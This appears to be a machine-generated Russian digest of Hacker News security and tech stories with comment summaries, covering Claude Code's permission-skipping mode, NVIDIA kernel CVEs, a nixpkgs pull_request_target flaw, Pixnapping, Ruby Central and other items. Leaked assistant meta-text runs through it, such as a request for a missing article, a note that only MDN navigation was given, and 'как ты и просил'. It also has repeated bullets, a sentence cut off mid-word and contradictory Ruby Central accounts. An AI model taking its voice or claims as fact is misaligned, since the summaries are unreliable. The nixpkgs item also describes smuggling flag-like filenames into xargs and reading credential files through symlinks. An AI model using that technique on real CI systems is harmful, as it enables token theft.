• Некоторые участники обсуждения подчеркнули, что вместо того, чтобы устранять уязвимости, компания может начать угрожать исследователям, которые сообщают о проблеме.
• Было также отмечено, что вместо того, чтобы устранять уязвимости, компания может начать угрожать исследователям, которые сообщают о проблеме.

Саймон Уиллисон на встрече Claude Code Anonymous в Сан-Франциско рассказал о дилемме между огромной пользой от запуска кодогенерирующих агентов с минимальными ограничениями и сопутствующими рисками. Он представил флаг --dangerously-skip-permissions (или "YOLO mode"), который, по его словам, превращает Claude Code в совершенно другой продукт. В обычном режиме требуется постоянное внимание и подтверждение действий, а в YOLO-режиме агент может самостоятельно решать сложные задачи, пока пользователь занимается другими делами.

За последние 48 часов Уиллисон с помощью YOLO-режима выполнил три проекта: развернул DeepSeek-OCR на NVIDIA Spark за 40 минут, создал демонстрацию работы Pyodide в Node.js для выполнения Python-кода в WebAssembly, и разработал инструмент для анализа репозиториев с помощью SLOCCount. Он подчеркнул, что многие недооценивают ценность кодогенерирующих агентов, никогда не испытав YOLO-режим во всей его мощи, но при этом выразил обеспокоенность потенциальными рисками предоставления ИИ таких широких полномочий.

• Обсуждение в основном вращается вокруг безопасности и ограничений при использовании LLM-агентов: участники обсуждают, насколько важно «сэндбоксить» их действия, чтобы избежать непредвиденных последствий, и какие именно границы должны быть установлены.
• Участники также обсуждают, какие именно ограничения накладывает Anthropic на своих моделей, включая то, что они не могут читать или редактировать файлы, запускать код, или использовать интернет без разрешения.
• Некоторые участники высказывают мнение, что Anthropic может быть слишком осторожна в ограничении способностей моделей, в то время как другие считают, что эти ограничения необходимы для безопасности и предотвращения злоупотреблений.
• Также обсуждается, как именно Anthropic тестирует свои модели на предмет безопасности и как они могут быть улучшены.
• Наконец, участники обсуждают, какие именно последствия могут иметь использование агентов без надлежащих мер предосторожности и какие меры предосторожности могут быть реализованы.

Предоставленный текст содержит только навигационную структуру сайта MDN, но не основное содержание статьи о методе setHTML(). В тексте отсутствует описание самого API, его синтаксиса, параметров, примеров использования и совместимости с браузерами. Для создания точного пересказа требуется полное содержание статьи, описывающее новый метод DOM API, который, вероятно, предоставляет альтернативу innerHTML с дополнительными возможностями или улучшенной безопасностью. Без доступа к фактическому описанию метода невозможно предоставить содержательный пересказ его функциональности и применения.

• Впервые за 25 лет в Firefox Nightly появилась возможность безопасно вставлять HTML через Element.setHTML(), что вызвало обсуждение: спор о том, почему так долго не хватало базовой возможности, и о том, что API-шный дизайн (включая именование setHTML/setHTMLUnsafe) не идеален.
• Участники обсуждения отметили, что новое API встроенной санитизации встроенной в браузер — это фактически встроенный DOMPurify, и что спор в основном ведется о том, что «безопасность по умолчанию» должна быть выбрана как поведение по умолчанию.
• Некоторые комментаторы выразили обеспокоенность тем, что спецификация пока не различает между контентом и вставляемым через setHTML() и innerHTML, и что это может влиять на производительность, если разработчики начнутт читать спецификацию как «естественное продолжение» innerHTML.
• Были также затронуты темы о том, что встроенная санитизация может влиять на разработчиков, которые полагаются на встроенную санитизацию, и о том, что это может влиять на разработчиков, которые полагаются на встроенную санитизацию.

В сентябре 2012 года рассылка нового пароля для WiFi в Google вызвала каскадный сбой системы управления паролями. Система, рассчитанная на несколько администраторов, не выдержала трафика от тысяч сотрудников. Первичная реплика стала неработоспособной, вторичная — последовала её примеру. Инженер не знал, что для перезапуска требуется смарт-карта HSM, хранящаяся в сейфе. Коллеги в Австралии не смогли открыть сейф (комбинация была в недоступной системе), а в Калифорнии извлекли карту, но она вызвала ошибку. Даже вскрытие сейфа дрелью не помогло — проблема оказалась в неправильной установке карты. Инцидент иллюстрирует сложность создания систем, одновременно надёжных и безопасных.

Надёжность и безопасность требуют разных подходов к проектированию. Риски надёжности связаны с немотивированными сбоями (плохие обновления), тогда как угрозы безопасности исходят от противников, стремящихся использовать уязвимости. Системы надёжности часто "сбиваются в безопасное состояние" (электронный замок открывается при отключении питания), что создаёт брешь в безопасности. В то же время избыточность, повышающая надёжность, увеличивает поверхность атак. Управление инцидентами также различается: для надёжности важны мнения разных специалистов, а для безопасности — ограничение круга лиц, способных устранить проблему.

• Инженеры Google в Австралии столкнулись с проблемой, что безопасность важнее, чем удобство, и это привело к тому, что они не смогли открыть сейф, потому что не знали, как правильно вставить карту. В итоге пришлось использовать дрель, что вызвало критику со стороны общественности.

Разработан новый инструмент playwright-skill, позволяющий Claude (AI-ассистенту) самостоятельно писать и выполнять код для автоматизации браузера с использованием Playwright. Это решение устраняет необходимость в ручном написании скриптов для тестирования и валидации веб-приложений, предоставляя Claude возможность генерировать и запускать пользовательские автоматизированные задачи напрямую.

Проект представляет собой расширение возможностей Claude для работы с веб-интерфейсами, где модель может анализировать страницу, определять нужные элементы и создавать соответствующие скрипты для взаимодействия с ними. Такой подход значительно упрощает автоматизацию рутинных задач тестирования и проверки функциональности сайтов, делая процесс более гибким и адаптивным к конкретным требованиям пользователя.

• Обсуждение в основном вращается вокруг трёх тем: удобство и ограничения MCP/Playwright, приватность данных при использовании облачных моделей и безопасность запуска произвольного кода в среде разработки.
• Участники обмениваются опытом использования различных инструментов тестирования, обсуждают их преимущества и недостатки, а также поднимают вопросы о приватности и безопасности.
• Некоторые участники выдвигают идею, что вместо использования MCP или Playwright можно было бы просто попросить агента использовать эти инструменты напрямую, что может уменьшить сложность и потенциальные проблемы.
• Также обсуждается, что такие инструменты могут быть полезны для быстрой проверки новых функций в процессе разработки, но не для полноценного тестирования.
• Вопрос о том, как обеспечить безопасность при использовании таких инструментов и как они могут влиять на приватность данных также поднимается.

Forgejo v13.0 introduces content moderation features allowing users to report abusive content, which administrators can review and manage. Key security enhancements include stricter handling of Forgejo Actions secrets and a new option to enforce two-factor authentication across the entire instance. The release also improves Forgejo Actions usability by enabling access to previous workflow run attempts and adding static validation for workflow files to catch errors early.

Additionally, v13.0 supports migrating repositories from Pagure, useful for projects like Fedora transitioning to Forgejo. Security updates include stripping EXIF metadata from uploaded avatars to prevent accidental leakage of sensitive information, with a new CLI command provided to process existing images. These changes collectively enhance security, usability, and interoperability.

• Пользователи обсуждают обновления Forgejo: от 8 до 11 версии, затем к 13.0.1, с акцентом на LTS-версии 11.
• Подчеркивается важность обновлений безопасности и конфиденциальности, включая обработку EXIF в аватарах.
• Упоминается сравнение с GitLab и GitHub, подчеркивая легкость и простоту Forgejo.
• Упоминается ожидание функций вроде Renovate и Dependabot, а также групп/подпапок.
• Упоминается, что релизы выходят каждый квартал, а не по семантическому версионированию.

Пожалуйста, предоставьте ссылку на статью или более подробную информацию о Sandbox SDK, о которой вы хотите получить пересказ. Без доступа к исходному материалу я не могу создать точный и ёмкий пересказ в требуемом формате.

• Обсуждение выявило, что у сервиса нет мелкого контроля над исходящим трафиком, что критично для безопасности при запуске непроверенного кода.
• Участники отметили резкий рост цен на Cloudflare Containers по сравнению с другими провайдерами, что делает его менее конкурентоспособным.
• Пользователи отметили, что документация и примеры кода в основном ориентированы на JavaScript/TypeScript, что ограничивает использование других языков.
• Несколько комментаторов подняли вопрос о том, что сервис не предоставляет автоматическое уничтожение контейнеров после простоя, что может привести к непредвиденным расходам.
• Некоторые участники обсуждали, что ценообразование и модель биллинга для Cloudflare Containers непрозрачна и может привести к неожиданным счетам.

Анонимный пользователь отправил ссылку на статью в Hacker News, где подробно разбираются две уязвимости в драйверах NVIDIA. Вместо того чтобы просто пересказывать статью, я напишу краткий и точный пересказ в двух абзацах, как ты и просил.

В драйверах NVIDIA для Linux обнаружены две уязвимости: одна приводит к разыменованию нулевого указателя, другая — к использованию памяти после освобождения. Обе позволяют локальному непривилегированному пользователю выполнить код на уровне ядра. Уязвимости были исправлены NVIDIA в октябре 2025 года.

Исследователи из Quarkslab детально изучили вторую уязвимость (CVE-2025-23280), которая затрагивает функцию threadStateInit в модуле nvidia.ko. Уязвимость позволяет перезаписать структуры в ядерной памяти, что в конечном итоге приводит к выполнению произвольного кода. Для эксплуатации уязвимости использовались специально созданные вызовы ioctl, которые манипулируют кеш-памятью и таблицами страниц, что позволяет обходить защиту KASLR и получать примитивы чтения/записи. В процессе эксплуатации также использовались возможности Linux по управлению памятью, такие как vmalloc и fork, для повышения надежности атаки.

• NVIDIA просит отложить публикацию уязвимостей до января 2026 года, что выходит за рамки стандартного 90-дневного цикла раскрытия.
• Quarkslab отвергла просьбу, указав, что уязвимости были раскрыты в июне и что отсутствие фиксов в драйвере для Jetson Thor нарушает соглашение о ответственном раскрытии.
• Обсуждение выявило, что драйверы NVIDIA остаются уязвимыми, а их закрытый характер мешает сообществу оценить и предложить патчи.
• Участники подчеркнули, что открытые модули ядра были бы защищены от таких багов, если бы драйвер был открыт.
• В итоге, дискуссия подчеркнула, что ответственное раскрытие и открытый код могли бы предотвратить подобные ситуации в будущем.

Опасная уязвимость в GitHub Actions позволила бы злоумышленникам выполнять произвольный код в CI/CD пайплайнах проектов с открытым исходным кодом, используя функцию pull_request_target.

Основная проблема заключалась в том, что некоторые рабочие процессы в nixpkgs использовали pull_request_target и доверяли коду из форков, выполняя команды вроде xargs над именами файлов из PR. Это позволило бы атакующему создать файл с именем вроде --help, который интерпретировался бы как флаг для утилиты, что привело бы к выполнению произвольного кода.

Более серьёзный случай включал симлинки: рабочий процесс проверки CODEOWNERS мог быть обманнут для чтения произвольных файлов с диска, включая файлы учётных данных. Если бы атакующий смог заставить систему прочитать файл с учётными данными, он мог бы украсть токены GitHub.

К счастью, эти уязвимости были обнаружены и исправлены до того, как их могли эксплуатировать. Авторы рекомендуют всем, кто использует pull_request_target, тщательно проверять свои рабочие процессы и избегать доверия к коду из форков.

• Проблема в том, что pull_request_target в GitHub Actions позволяет уязвимости, но при этом остаётся единственным способом запуска CI для форков в организациях, не использующих форки.
• Подверженность pull_request_target в действии: злоумышленник может украсть токены и секреты, используя триггер, что приводит к тому, что вредоносный код может быть запущен в контексте базовой ветви.
• Предложение: GitHub должен либо полностью отключить pull_request_target, либо предоставить безопасный способ запуска CI для форков.
• Параллельно обсуждается, что если бы NixOS принял предложение обеспечивать подпись коммитов и независимые воспроизводимые сборки, как это делает Guix, то подобные атаки были бы невозможны.

• Сообщение о фальшивом собеседовании вызвало волну обсуждений, в которых участники делились историями о похожих попытках обмана, а также обсуждали, как распознавать и избегать таких ситуаций.
• Участники обсуждения подчеркнули важность проверки подлинности компаний и лиц, с которыми вы имеете дело, особенно в контексте удаленной работы и криптовалют.
• Были выдвинуты предложения о том, что следует всегда использовать виртуальные машины или контейнеры для изоляции кода, который вы не полностью доверяете, и никогда не запускать непроверенный код на основной машине.
• Также обсуждались инструменты и практики, которые могут помочь в предотвращении таких атак, включая инструменты для изоляции и контроля доступа к файловой системе и сети.

Новый вид атаки Pixnapping позволяет вредоносным приложениям на Android незаметно перехватывать информацию, отображаемую другими приложениями или веб-сайтами, используя уязвимости в Android API и аппаратный недостаток, влияющий почти на все современные Android-устройства. Атака успешно продемонстрирована на устройствах Google и Samsung, позволяя извлекать конфиденциальные данные из Gmail, Signal, Google Authenticator и других приложений. Например, для кражи 2FA-кодов из Google Authenticator достаточно менее 30 секунд, при этом пользователь не замечает вмешательства. Атака работает даже для приложений без специальных разрешений, используя три шага: вызов целевого приложения для отображения данных, манипуляция пикселями через графические операции и использование побочного канала (GPU.zip) для восстановления скриншотов. Уязвимость уже частично исправлена в Android, но обход возможен, поэтому обновление системы не гарантирует защиту.

• Уязвимость позволяет приложениям без разрешения делать скриншоты, что может быть использовано для кражи 2FA-кодов и других чувствительных данных.
• Google уже выпустил патч, но он не полностью закрывает уязвимость, и злоумышленник может обойти его.
• Пользователи могут защитить себя, включив биометрическую аутентификацию в приложении для 2FA и отключая разрешение на доступ к камере для всех приложений.
• Исследователи не публикуют PoC-код, но утверждается, что атака может быть воспроизведена на любом Android-устройстве с 2012 года.
• В конце концов, единственный надёжный способ защиты — это не устанавливать приложения, которые не являются open-source и не требуют излишних разрешений.

• Появление аппаратной поддержки тегирования памяти в x86-64 — это ответ на уже существующие технологии ARM64 (MTE) и Apple (MIE), а не новая идея.
• Технически это не более чем перенос существующих подходов на x86-64, но важно, что это может быть сделано опционально и не сломает существующий код.
• Поддержка тегирования памяти в x86-64 может быть реализована в виде набора инструкций, которые будут использоваться компилятором и стандартной библиотекой, чтобы обеспечить безопасность кода, написанного на C/C++.
• Это не решит проблему безопасности памяти в целом, но может помочь в обнаружении ошибок и предотвращении эксплойтов.

Apple представила новые функции безопасности в iOS, такие как SPTM, TXM и Exclaves, чтобы повысить защищённость системы. SPTM действует как единый центр управления преобразованием памяти, создавая домены доверия, которые изолируют различные функциональности. TXM отвечает за проверку подписей кода и прав, что усиливает безопасность. Exclaves позволяют изолировать критически важные компоненты, уменьшая риски при компрометации ядра. Эти механизмы позволяют Apple создавать более устойчивую к атакам архитектуру, где даже взлом ядра не сразу приводит к полному компромиссу системы. Внедрение этих функций демонстрирует серьёзный подход Apple к безопасности, превращая iOS в одну из самых защищённых мобильных ОС.

• Apple демонстрирует комплексный подход к безопасности iOS, включая аппаратные решения, защиту от 0-day уязвимостей и отказ от недостаточно эффективных механизмов вроде PPL.
• Усилия Apple по безопасности критикуются за мотивацию контроля над устройством (запрет джейлбрейка и ограничение App Store) и наличие уязвимостей в ключевых сервисах вроде iMessage.
• Архитектура iOS унаследовала сложность от Unix и исторических решений, что привело к многоуровневой защите (sandboxing, hardened runtime), но вызывает вопросы о возможности более простых систем с нуля.
• Альтернативные ОС (например, seL4) предлагают формально верифицированные и менее сложные подходы к безопасности, но пока не являются полноценными решениями для массового использования.
• Увеличение вознаграждения за уязвимости и защита кодовых путей на новых процессорах усиливают безопасность платформы в целом.

Переменные окружения — это наследие прошлого: они устроены как плоский глобальный словарь строк без пространств имён или типов, и передаются от родительского процесса к дочернему.

В Linux они передаются через execve как массив строк вида KEY=VALUE. Внутри процесса они хранятся в стеке или куче, а программы используют разные структуры данных для их представления: Bash использует хешмапы, Python — словари, а C — массив environ.

Важно помнить, что изменения в дочернем процессе не влияют на родительский, и не все инструменты наследуют окружение. Например, login задаёт свежее окружение.

Из-за отсутствия пространств имён или типов легко допустить ошибку, например, перезаписать критичную переменную PATH. Хотя они удобны для конфигурации, их следует использовать с осторожностью.

• Обсуждение охватило широкий спектр тем: от безопасности переменных окружения до передачи секретов, влияния на разные системы и стандарты, и даже до влияния на разработку программного обеспечения.
• Участники обсуждали, что переменные окружения небезопасны для передачи секретов, так как любой процесс может прочитать их.
• Были упомянуты альтернативы, такие как systemd-creds, которые могут быть использованы для передачи секретов безопасно.
• Также обсуждались проблемы с конфигурацией и стандартами, такие как использование переменных окружения для конфигурации вместо файлов конфигурации.
• Участники также обсуждали влияние переменных окружения на разработку программного обеспечения, включая влияние на разработку в Windows и Unix системах.

25 сентября 2025 года Google Safe Browsing внезапно заблокировал весь домен statichost.eu как «обманчивый» — даже поддомены, включая пользовательские сайты клиентов. Почти шесть часов ни один браузер на Chromium-основе не открывал ни одну страницу на домене без жёсткого предупреждения. Это затронуло и сам сайт компании и все её поддомены, включая личные сайты клиентов.

В итоге, Google Search Console показал, что причиной стало то, что на платформе появились фишинговые сайты. Вместо того, чтобы сообщить владельцу и дать ему возможность удалить их, Google просто внёс весь домен в чёрный список.

Это стало поводом для публикации, в которой компания подчеркнула, что теперь она будет выдавать всем новым сайтам домен statichost.page, чтобы избежать повторения ситуаций в будущем.

• Google Safe Browsing блокирует сайты, если на них размещают фишинг-контент, но при этом не всегда ясно, кто именно блокирует — Google или другие сервисы.
• Провайдеры, которые не разделяют пользовательский контент на отдельном домене, рискуют, что весь их домен попадёт в чёрный список.
• Public Suffix List помогает браузерам и поисковикам различать, где заканчивается домен первого уровня и начинается поддомен.
• Размещая пользовательский контент на отдельном домене, можно избежать риска, что весь домен попадёт в чёрный список.

Ruby Central сообщила о «событии безопасности» в RubyGems.org, но в действительности оно оказалось конфликтом между организацией и бывшим оператором Андре Арко, который вёл службу более 10 лет. Ruby Central утверждает, что он «не имел доступа» к продакшену, но не предоставляет никаких доказательств. Арко же утверждает, что у него оставался доступ к AWS и логам, и что он не мог бы их использовать без ведома. Он также утверждает, что его удалили из организации без объяснений, и что команда не отвечает на его письма. Он также утверждает, что Ruby Central не отвечает на его письма и не предоставляет никакой информации о «безопасности» RubyGems.

• В обсуждении поднимается вопрос о том, как именно было доведено до сведения Арко, что его доступ к продакшену отозван, и какие именно обстоятельства привели к этому решению.
• Участники обсуждения выражают обеспокоенность тем, что новые мейнтейнеры, возможно, не готовы обеспечить безопасность и надежность сервиса.
• Также поднимается вопрос о том, что, возможно, вся эта ситуация имеет большее отношение к политике, чем к техническим аспектам.

Краткий пересказ

30 сентября 2025 года бывший сотрудник Ruby Central Андре Арко сообщил, что у него остался доступ к продакшен-среде RubyGems.org. Почти одновременно блогер Джоэл Дрейпер опубликовал скриншоты, подтверждающие это. Внутреннее расследование показало, что 19 сентября неизвестный злоумышленник сменил пароль root-аккаунта AWS и в течение 11 дней имел возможность администрировать инфраструктуру. В результате Ruby Central отозвала все устаревшие ключи доступа, включила MFA для всех живых аккаунтов и перевела проект на изолированный AWS-аккаунт под единоличным контролем Ruby Central.

• Ruby Central обвиняет бывшего мейнтейнера Andre Arko в том, что он, будучи уволенным, сохранил доступ к корневой учетной записи AWS и изменил пароль, что фактически блокирует организацию от доступа к собственной инфраструктуре.
• Сообщение Ruby Central подчеркивает, что не было никаких доказательств компрометации, но не упоминает о том, что не было никаких доказательств и того, что доступа не было.
• Сообщение Ruby Central не упоминает о том, что они не отозвали доступа к корневой учетной записи, не изменили пароль и не отключили MFA, что, как утверждает Arko, оставляет сервис уязвимым для "незаконного доступа и потенциального утечки данных".
• Arko утверждает, что он не имел доступа к логам доступа, и что Ruby Central не предоставила никаких доказательств того, что кто-то еще имел доступ к этим логам.
• Обсуждение также затрагивает вопрос о том, каким образом Ruby Central может гарантировать, что никакие PII не была скомпрометирована, если они не могут доказать, что никто не имел доступа к логам доступа.

• Пост стал катализатором для обсуждения широкого круга тем: от качества кода до инфраструктурных и экономических аспектов разработки ПО, а также влияние ИИ на отрасль и культуру разработки ПО.
• Участники обсуждения подчеркнули, что проблема качества ПО не ограничивается одним фактором, а является результатом сложного взаимодействия между техническими, экономическими и культурными факторами.
• Обсуждение также затронуло вопрос о том, как влияние ИИ на разработку ПО может изменить природу самой работы программиста, включая вопросы обучения, ответственности и даже философии разработки ПО.
• Участники также обсудили, как влияние ИИ на разработку ПО может повлиять на будущее отрасли, включая вопросы безопасности, надежности и устойчивости ПО.
• В конце концов, обсуждение подчеркнуло, что вопрос качества ПО является не только технической, но и социальной и экономической проблемой, которая требует комплексного подхода и внимания к контексту, в котором ПО используется.

Discord подтвердил, что в результате инцидента с поставщиком услуг клиентской поддержки могли быть скомпрометированы документы, касающиеся до 70 000 пользователей. Компания подчеркивает, что атакующие распространяют ложную информацию как часть вымогательской кампании. Пока неясно, какие именно данные были затронуты, но Discord утверждает, что «большинство» из них ограничиваются адресом электронной почты, номером телефона и/или имени пользователя.

• Discord и другие компании продолжают собирать и хранить документы удостоверяющие личность, несмотря на то, что они не могут их защитить.
• Пользователи, которые предоставили свои документы, теперь подвержены риску, что их личные данные могут быть украдены.
• Сторонние подрядчики, которые обрабатывают документы удостоверяющие личность, не могут быть идентифицированы, что делает невозможным для пользователей понять, кто именно имеет доступ к их личным данным.
• Пользователи, которые не предоставили свои документы, не могут получить доступ к сервису.
• Пользователи, которые предоставили свои документы, теперь не могут быть уверены, что их личные данные не будут использованы для других целей.

В проекте Téléfonefix создана система, позволяющая детям безопасно звонить родственникам по всему миру. Для этого используется стационарный телефон, подключенный через аналоговый шлюз HT801 к Asterisk на Raspberry Pi. Asterisk, в свою очередь, направляет вызовы через Twilio.

Ключевые особенности системы:

• Полностью исключает использование экранов (никаких приложений или смартфонов)
• Работает с любым стандартным телефоном с RJ11
• Совершает звонки локально и международные
• Автоматически отклоняет вызовы, нарушающие правила, например:
  • вызовы на номера, не входящие в разрешенный список
  • вызовы в запрещенное время (например, ночью)
• Максимально удобна для детей

Для настройки требуется:

1. Купить SIP-транк в Twilio (около $1.15/месяц)
2. Создать Asterisk-сервер на Raspberry Pi
3. Подключить телефон через аналоговый шлюз (например, Grandstream HT801) к Pi
4. Настроить Asterisk для маршрутизации вызовов через Twilio, если номер в белом списке

Дополнительные функции, такие как автоматический перевод голоса в текст для анализа на предмет запрещенных фраз, полностью возможны, но не реализованы в текущей версии.

Проект полностью open-source и доступен на GitHub.

• Проект «телефон для малышей» вызвал волну ностальгии и практических советов: от обсуждения того, как трудно получить аккаунт Twilio, до альтернатив вроде Tincan и Grandstream ATA, а также коснулся вопроса о том, что делать, если устройство попадёт в руки ребёнка, который может случайно дозвониться в 911.
• Участники обсуждали, что вместо того, чтобы тратить деньги на услуги, можно было бы использовать SIP-провайдеров, которые не требуют KYC, и что в некоторых странах всё ещё можно купить SIM-карту без регистрации.
• Несколько человек упомянули, что вместо того, чтобы полагаться на облачные сервисы, можно было бы настроить пиринговую сеть, и обсуждались варианты, где бы это было возможно.
• Также обсуждались вопросы, связанные с безопасностью, включая то, что телефон не должен позволять ребёнку дозвониться в службы, которые не предназначены для этого, и что важно обеспечить, что устройство не может быть использовано для нежелательных целей.
• Наконец, обсуждались вопросы, связанные с тем, что если устройство будет использовано вне дома, например, в дороге, и как это может повлиять на стоимость и удобство использования.

PGLinter — это инструмент для анализа качества базы данных PostgreSQL, который выявляет проблемы с производительностью, безопасностью и стандартизацией. Он работает на основе настраиваемых правил, которые можно включать или отключать, и поддерживает экспорт результатов в стандартном формате SARIF для интеграции с CI/CD.

Ключевые возможности:

• Автоматическое выявление проблем: Отсутствующие индексы, неиспользуемые индексы, неправильные настройки безопасности
• Глубокая интеграция с PostgreSQL: Реализован как расширение, поэтому использует внутренние механизмы СУБД
• Гибкая настройка: Можно отключать отдельные правила, менять пороги срабатывания
• Удобство для разработчиков: Встраивается в CI/CD, есть санитизация схемы данных

Например, правило B001 выявляет таблицы без первичного ключа. T003 находит индексы, которые полностью дублируются другими индексами. C001 предупреждает, если настройки памяти небезопасны.

Пользователи могут запускать анализ через SQL: SELECT pglinter.perform_base_check(); или экспортировать результаты в SARif для интеграции с GitHub Actions, Jenkins и другими инструментами.

Проект активно развивается, с планами по добавлению правил, связанных с безопасностью, и расширением покрытия различных аспектов базы данных. Конечная цель — сделать PGLinter таким же обязательным в проекте, как ESLint для JavaScript или RuboCop для Ruby.

• Инструмент анализа БД pg_linter представляет собой расширение PostgreSQL, что вызывает вопросы о необходимости именно расширения, а не отдельного инструмента, который можно было бы запускать против любой БД.
• Участники обсуждения отмечают, что в 2025 году принцип наименьших привилегий в контексте безопасности и стабильности системы особенно важен, и устанавливать сторонние расширения в продакшен средах может быть неприемлемо.
• Некоторые участники высказывают мнение, что вместо расширения мог бы подойти и инструмент, который мог бы анализировать дамп базы данных либо имитировать схему в контейнере.
• Также обсуждается, что правила вроде B006 (таблицы с именами в верхнем регистре) могут быть неуместны в контексте конкретной ORM или обстоятельств, и что некоторые правила могут быть неприменимы к специфическим ситуациям, таким как TimescaleDB.

Правящая партия Германии CDU/CSU официально отказалась от поддержки системы массового контроля переписки, которую продвигают некоторые страны ЕС. Это решение стало крупной победой для приватности в Евросоюзе, поскольку предотвращает введение так называемой «чаткинтроли» без конкретного повода.

Немецкое правительство заняло чёткую позицию против сканирования личных сообщений граждан, что вызвало положительную реакцию среди защитников цифровых прав. Хотя некоторые комментаторы выражают скептицизм относительно долгосрочных намерений партии, текущее заявление укрепляет позиции приватности в европейской политике.

• Выражено глубокое недоверие к мотивам Германии и других стран, продвигающих массовый контроль за перепиской, с предупреждениями, что эти инициативы могут быть возобновлены в будущем.
• Участники считают, что дебаты о контроле за шифрованием (Chat Control) носят циклический характер и вряд ли будут окончательно урегулированы в обозримом будущем, так как сторонники контроля будут продолжать свои попытки.
• Подчеркивается техническая невозможность ослабить сквозное шифрование для выборочного контроля, не создав уязвимости для всех пользователей, что делает онлайн-банкинг и другие сервисы небезопасными.
• Многие выступают за безусловную защиту права на приватность и шифрование, рассматривая его как фундаментальную свободу, и призывают отвергать любые попытки его ограничения.
• Оппоненты массового контроля утверждают, что существующих юридических механизмов (например, предоставление истории переписк

RSA-алгоритм изначально использовал функцию Эйлера φ(n), но со временем её заменили на функцию Кармайкла λ(n). Это изменение незаметно для пользователей, но оно важно: λ(n) делит φ(n) и может уменьшить приватный ключ в 2-3 раза, что ускоряет расшифровку. Однако экономия невелика, так как gcd(p-1, q-1) почти всегда равен 2 или 4.

• Обсуждение поднял вопрос о том, что многие курсы и преподаватели обучают RSA без должного фундамента в теории чисел, что может привести к неправильной реализации.
• Участники обсудили, что вместо того, чтобы вводить студентов в детали реализации RSA, включая использование функции Кармайкла и алгоритма Гарнера, часто вместо этого преподают поверхностное понимание алгоритма, что может в будущем привести к небезопасной реализации.
• Также было отмечено, что вместо того, чтобы обучать эллиптическим кривым, которые более современны и просты в реализации, продолжают преподавать RSA, который требует более глубокого понимания теории чисел.
• Несколько участников выразили обеспокоенность тем, что студенты, обучающиеся по таким курсам, могут в будущем реализовывать небезопасные системы, из-за недостаточного понимания криптографических основ.
• В конце обсуждение сошлось на то, что вместо того, чтобы пытаться упростить обучение криптографии, следует требовать от студентов, что они выучат необходимые математические основы, так как в отсутствии этого они не смогут правильно реализовать безопасные системы.

Функция памяти в ChatGPT, включённая по умолчанию, превращает чат-бот в эффективного информатора, способного раскрыть ваши самые личные секреты при доступе посторонних. Достаточно нескольких продуманных вопросов — и ИИ выдаст выводы о ваших убеждениях, привычках, здоровье или отношениях, которые вы сами могли не осознавать.

Хотя пока не зафиксировано массовых инцидентов, сценарии утечки через незаблокированные устройства или принудительный доступ правоохранителей вполне реальны. Пользователям стоит знать об этих рисках и, возможно, отключать память в настройках, особенно если они делятся с ИИ конфиденциальными данными.

• Участники обсуждают риски приватности, связанные с функцией памяти в ChatGPT, которая может синтезировать и раскрывать личную информацию из истории чатов.
• Высказываются опасения, что злоумышленники или государственные органы могут легко получить доступ к этим данным через запросы к ИИ или принудительное изъятие у платформы.
• Подчёркивается, что проблема не нова (сравнение с историей поиска), но ИИ снижает порог доступа и упрощает анализ, поощряя пользователей к откровенности.
• Некоторые пользователи предлагают меры защиты: отключение памяти, использование локальных моделей, осторожность в вопросах.
• Отмечается, что при физическом доступе к устройству угрозы многократно возрастают, и ChatGPT — лишь один из многих рисков.

Написанная на Rust утилита ut предлагает разработчикам набор инструментов для повседневных задач, вдохновляясь функциональностью it-tools.tech. Она включает конвертеры, генераторы хешей, кодировщики и другие инструменты для работы с данными, кодом и системами. Проект стремится объединить распространённые утилиты в одном месте, упрощая доступ без переключения между сервисами.

Использование Rust обеспечивает высокую производительность и безопасность, а модульная архитектура позволяет легко расширять функционал. Это решение особенно полезно для команд, ценящих локальные инструменты без зависимости от облачных сервисов.

• Предложения по распространению: упаковать как Python и NPM модули для удобного запуска через uvx или npx, использовать cargo-dist для автоматизации.
• Критика архитектуры: обсуждается целесообразность единого бинарника (по аналогии с BusyBox) против множества отдельных утилит в духе UNIX-философии "делай одно дело хорошо".
• Вопросы к функционалу: предостережения против включения слишком большого количества функций (например, HTTP), предложения добавить конкретные команды (uuidv7, retry).
• Замечания по реализации: критика требований к вводу (только UTF-8, чтение stdin до EOF), отсутствие тестов для кода, созданного с помощью ИИ.
• Общая оценка: инструмент воспринят как удобный "швейцарский нож" с продуманными умолчаниями, но вызвал дискуссию о разумных пределах его роста.

Великобритания продолжает попытки внедрить бэкдоры в шифрование для пользователей Apple, несмотря на глобальную критику. Власти настаивают, что доступ к зашифрованным данным необходим для борьбы с преступностью, но эксперты предупреждают, что это ослабит безопасность всех пользователей.

Такие меры могут подорвать доверие к технологическим компаниям и создать уязвимости, которыми воспользуются злоумышленники. Apple и правозащитные организации активно сопротивляются, подчёркивая, что бэкдоры не могут быть ограничены только «законным» доступом.

• Участники обсуждают требования правительства Великобритании к Apple о предоставлении доступа к зашифрованным данным пользователей (iCloud), включая отключение функции Advanced Data Protection.
• Высказывается обеспокоенность по поводу расширения государственного надзора и ущемления приватности, проводятся параллели с ситуацией в Китае и другими законами (PATRIOT Act, FISA).
• Обсуждается юридическая сторона: какие пользователи попадают под юрисдикцию UK, возможность Apple противостоять требованиям и роль правительства США в предыдущих спорах.
• Поднимается вопрос о доверии к производителям устройств и облачным сервисам, уязвимости перед принудительными OTA-обновлениями и необходимости независимого аудита безопасности.
• Некоторые пользователи связывают эти события с общим упадком и ужесточением законодательства в Великобритании, включая ограничение свободы слова и иммиграционную политику.

Доля рынка Windows 7 неожиданно выросла почти до 10%, несмотря на то, что поддержка Windows 10 подходит к концу. Это парадоксальное явление: пользователи массово переходят на устаревшую систему вместо актуальных версий, таких как Windows 11. Возможно, причина в нежелании обновлять оборудование или в ностальгии по стабильности и знакомому интерфейсу.

Практический вывод: даже после прекращения официальной поддержки операционные системы могут сохранять популярность, создавая риски безопасности для пользователей. Это подчёркивает важность планирования миграции и осознанного выбора ПО, особенно в корпоративной среде.

• Пользователи критикуют Windows 11 за навязчивую рекламу, обязательную привязку к учётной записи Microsoft, избыточную телеметрию и удаление полезных функций (например, простого меню "Да/Нет").
• Некоторые считают Windows 7 пиком развития ОС за её стабильность, понятный интерфейс и отсутствие враждебных к пользователю элементов, характерных для новых версий.
• Обсуждаются проблемы совместимости и безопасности при использовании неподдерживаемых ОС, а также сложности с установкой Linux в корпоративной среде.
• Высказываются предположения, что аномальный рост доли Windows 7 в статистике может быть ошибкой измерения или результатом массового перехода пользователей на Linux.
• TPM 2.0 в Windows 11 воспринимается неоднозначно: как улучшение безопасности для одних и как ненужное ограничение для других.

